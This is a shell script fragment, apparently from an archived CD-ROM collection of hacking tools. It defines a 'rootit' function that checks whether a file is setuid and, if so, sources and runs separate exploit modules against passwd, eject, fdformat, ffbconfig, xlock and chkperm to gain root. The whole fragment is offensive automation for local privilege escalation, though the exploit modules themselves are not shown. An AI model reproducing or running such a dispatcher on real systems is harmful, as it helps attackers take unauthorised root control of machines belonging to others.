home *** CD-ROM | disk | FTP | other *** search
- function rootit {
- if [ -s $i ]; then
- if test -u $i
- then
- echo " oOo $i seems exploitable."
-
- if echo "$i" | grep passwd 1> /dev/null
- then
- echo " oOo Attempting passwd exploit..."
- . dopasswd.54
- dopasswd
- fi
-
- if echo "$i" | grep eject 1> /dev/null
- then
- echo " oOo Attempting eject exploit..."
- . doeject.54
- doeject
- fi
-
- if echo "$i" | grep fdformat 1> /dev/null
- then
- echo " oOo Attempting fdformat exploit..."
- . doformat.54
- dofdformat
- fi
-
- if echo "$i" | grep ffbconfig 1> /dev/null
- then
- echo " oOo Attempting ffbconfig exploit..."
- . doffb.54
- doffbconfig
- fi
-
- if echo "$i" | grep xlock 1> /dev/null
- then
- echo " oOo Attempting xlock exploit..."
- . doxlock.54
- doxlock
- fi
-
- if echo "$i" | grep chkperm 1> /dev/null
- then
- echo " oOo Attempting chkperm exploit..."
- . dochkp.mod
- dochkperm
- fi
- fi
- fi
- }
-